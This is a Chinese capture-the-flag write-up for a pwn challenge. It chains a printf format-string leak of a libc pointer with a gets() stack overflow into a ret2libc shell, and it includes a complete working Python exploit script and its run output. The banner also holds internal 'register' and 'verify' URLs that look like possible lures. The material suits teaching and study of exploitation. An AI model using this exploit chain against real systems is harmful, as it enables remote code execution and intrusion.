| 项目 | 内容 |
|---|---|
| 平台题名 | YQHL 支持控制台 / YQHL Support Console |
| 分类 / 难度 | Pwn / Medium |
| 附件 | chal、lib/libc.so.6、lib/ld-linux-x86-64.so.2 |
| 服务 | nc <host> <port>(容器内 socat 监听 8080) |
| 保护 | NX on / PIE off / canary off / Partial RELRO |
1. 程序行为
连上去看到的是一段"运维控制台"对话:
[deploy] 节点注册待完成 — 门户:https://scheduler.internal.yqhl.cloud/register
[deploy] 调度探针端点:https://scheduler.internal.yqhl.cloud/verify(请保持可达)
=== YQHL 支持控制台 ===
诊断消息(已启用格式化输出):
>
输入内容会被原样回显,然后提示"继续提交维护请求",再读一次输入。
对应的源码(随包提供 chal.c):
static void maintenance(void) {
char buf[128];
puts("=== YQHL 支持控制台 ===");
puts("诊断消息(已启用格式化输出):");
printf("> ");
if (!fgets(buf, sizeof(buf), stdin)) exit(0);
/* 本意只是打印运维人员的消息。 */
printf(buf); /* ← 漏洞 1:格式化字符串 */
puts("\n继续提交维护请求:");
printf("> ");
/* 遗留的维护接口。 */
gets(buf); /* ← 漏洞 2:栈溢出 */
}
buf 是 128 字节,fgets 限长了(安全),但 printf(buf) 和 gets(buf) 都是老熟人。
两个漏洞挨在一起,构成一条"先泄露后打"的顺滑链条。
2. 保护与思路
$ checksec ./chal
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
- 无 canary →
gets溢出可直接覆盖返回地址,不用先泄露金丝雀; - 无 PIE → 二进制地址固定,但关键是要拿到 libc 基址(
system在 libc 里); - Partial RELRO → GOT 可写,不过本题走 ret2libc,不需要改 GOT。
所以路线是:
printf(buf) ──► %45$p 泄露一个 libc 内指针
│
▼
libc_base = leak - 0x29d65
│
▼
gets(buf) ──► A*136 + ret + pop_rdi + "/bin/sh" + system
│
▼
cat /flag
3. 第一段:格式化字符串定位参数序号
printf(buf) 里 buf 是唯一的可变参数,格式化串本身就在栈上。用位置参数
%N$p 从栈上把值打印出来,N 从 1 开始数第 N 个"参数槽"。
扫一遍菜单附近的范围:
%40$p ... %55$p →
(nil)|0x7ffdca567c18|0x1|0x456835d813db1900|0x7ffdca567c10|
0x7efe61a85d65|0x40127b|0x403e00|0x7efe61c89600|(nil)|(nil)|
0x401090|0x7ffdca567c10|(nil)|(nil)|0x4010b1
按顺序对应:
| 序号 | 值 | 含义 |
|---|---|---|
%41$p |
0x40127b |
二进制内地址(main 附近),佐证无 PIE |
%42$p |
0x403e00 |
.bss / .got 附近 |
%45$p |
0x7efe61a85d65 |
libc 内地址,低 12 位恒为 0xd65 |
%44$p |
0x7efe61c89600 |
另一个 libc 内地址(_IO_2_1_stdout_ 一类) |
%45$p 低 12 位在多次连接中完全稳定(0xd65),说明它指向 libc 里一个固定
偏移的位置——这正是我们要的泄露源。
确认偏移
在容器内读真实映射做对照(这一步选手可以不做,写在这里是为了说明偏移的出处):
PID 2013035 base 7f78e2b85000
LEAKED 0x7f78e2baed65|0x7f78e2d6a963
0x7f78e2baed65 - 0x7f78e2b85000 = 0x29d65。
再核对随附 libc 的符号表:
$ readelf -sW lib/libc.so.6 | grep -E ' __libc_start_main$'
1234: 0000000000029ce0 324 FUNC GLOBAL DEFAULT 15 __libc_start_main
0x29ce0 + 0x85 = 0x29d65 —— 泄露的是 __libc_start_main + 0x85,也就是
main 正常返回时 _start 会回到的那条指令(mov edi, eax 附近)。这是最经典、
最稳的 libc 泄露点。
于是:
libc_base = leak - 0x29d65
4. 第二段:gets 栈溢出与 ROP 链
buf 是 char buf[128],-O0 下位于 rbp-0x80:
maintenance:
push rbp
mov rbp, rsp
sub rsp, 0x80 ; buf 128 字节
...
lea rax, [rbp-0x80] ; buf
mov rdi, rax
call gets@plt
所以到返回地址的偏移 = 0x80 + 8 = 0x88 = 136。
ROP 链(都是从 libc 里取,因为 libc 基址已知):
| 角色 | 偏移 | 说明 |
|---|---|---|
ret |
0x2a146 |
纯 ret,用于 16 字节栈对齐;少它 system 里 movaps 会 SIGSEGV |
pop rdi ; ret |
0x2a145 |
给 system 准备第一个参数 |
/bin/sh |
0x1a5ea4 |
libc 内字符串 |
system |
0x53110 |
libc 内函数 |
0x2a145 处是 pop rdi; ret,0x2a146 就是它后面那个 ret —— 同一条 ROPgadget 链上的
相邻字节,很省事。
5. 完整 Exp
#!/usr/bin/env python3
import socket, struct, sys, time, re
HOST, PORT = sys.argv[1], int(sys.argv[2])
LEAK_OFF = 0x29d65 # %45$p == __libc_start_main + 0x85
BUF_TO_RET = 0x88 # char buf[128] + saved rbp
OFF_SYSTEM = 0x53110
OFF_BINSH = 0x1a5ea4
OFF_POPRDI = 0x2a145 # pop rdi ; ret
OFF_RET = 0x2a146 # ret
def ru(s, tok, to=6):
if isinstance(tok, str): tok = tok.encode()
s.settimeout(to); data = b""
while tok not in data:
try: d = s.recv(4096)
except socket.timeout: break
if not d: break
data += d
return data
for attempt in range(20):
s = socket.create_connection((HOST, PORT), timeout=10)
ru(s, b"> ") # 第一条提示
s.sendall(b"%45$p\n") # ---- 泄露 ----
d = ru(s, b"> ") # 第二条提示
leak = int(re.search(rb"0x[0-9a-f]+", d).group(0), 16)
base = leak - LEAK_OFF
print("[*] leak=%#x base=%#x" % (leak, base))
payload = b"A" * BUF_TO_RET
payload += struct.pack("<Q", base + OFF_RET)
payload += struct.pack("<Q", base + OFF_POPRDI)
payload += struct.pack("<Q", base + OFF_BINSH)
payload += struct.pack("<Q", base + OFF_SYSTEM)
# gets() 遇 0x0a 截断:链里任何字节是 0x0a 就必须换连接重开
if b"\n" in payload[BUF_TO_RET:]:
print("[-] chain contains 0x0a, retrying")
s.close(); continue
s.sendall(payload + b"\n") # ---- 溢出 ----
time.sleep(0.4)
s.sendall(b"cat /flag; echo __DONE__\n")
time.sleep(1.0)
out = b""
s.settimeout(3)
try:
while b"__DONE__" not in out:
c = s.recv(4096)
if not c: break
out += c
except socket.timeout:
pass
text = out.decode("utf-8", "replace")
if "flag{" in text:
print(text); sys.exit(0)
s.close()
print("[-] failed")
关于 0x0a 重试
gets() 是 getline 语义,遇到 \n 就结束。ROP 链里有 4 个 8 字节地址,
一共 32 个字节,任一个是 0x0a 就会提前截断、链被打断。
每个字节是 0x0a 的概率约 1/256,32 个字节全干净的概率约 (255/256)^32 ≈ 88%。
ASLR 每次新连接都会换 libc 基址,所以直接换连接重试即可,几次之内必中。
如果嫌重试麻烦,也可以把 system("/bin/sh") 换成 system("cat /flag"):
把 /bin/sh 换成指向 libc 里 cat /flag 这种现成串不存在,退而求其次可以用
read + write 组合 ROP,但工程量明显更大,不值当。
6. 实际验证
节点上的一次性容器(lj-pwn-medium-01-trap:v1,-p 29911:8080):
[#1] leak=0x7f58a81add65 base=0x7f58a8184000
[out] flag{local_verify_p01}__DONE__
一次成功。base 的末三位是 000,证明页对齐正确(可以把它当作"泄露算对了"的自检)。
7. 踩坑记录
| 现象 | 原因 | 处理 |
|---|---|---|
%45$p 算出来的 base 不是页对齐 |
偏移写成 0x29d90(__libc_start_main+0xb0)或别的值 |
必须先确认泄露点:拿一次真实 maps 对照,或直接 readelf -s 看 __libc_start_main 再用 +0x85 |
干净地拿到 shell 但 cat /flag 无输出 |
早期镜像 run.sh 里 export LD_LIBRARY_PATH=/app/lib,被 system("/bin/sh") 拉起的 /bin/sh 继承,误加载了随题 libc,报 undefined symbol: __tunable_is_initialized |
现行镜像已删除该 export,改用 exec ld-linux-x86-64.so.2 --library-path /app/lib /app/chal 显式加载 |
system 一进来就 SIGSEGV,movaps 报错 |
栈没 16 字节对齐 | 链首加一个纯 ret(0x2a146) |
| 链总断在中间 | 某个地址字节是 0x0a,gets 提前收尾 |
换连接重试(见上节) |
| 用 pwntools 本地跑正常,远程偶尔失败 | 远程 socket 分包,recvuntil 时机不稳 |
每个 sendall 后 sleep,或改用 recvuntil(b"> ") 对齐 |
8. 一句话总结
同一个 128 字节的
buf被printf和gets连着用了两次——先用%45$p从__libc_start_main+0x85扒出 libc 基址,再用gets盖 136 字节打 ret2libc。 唯一的"意外"是gets的0x0a截断,换连接重试即可。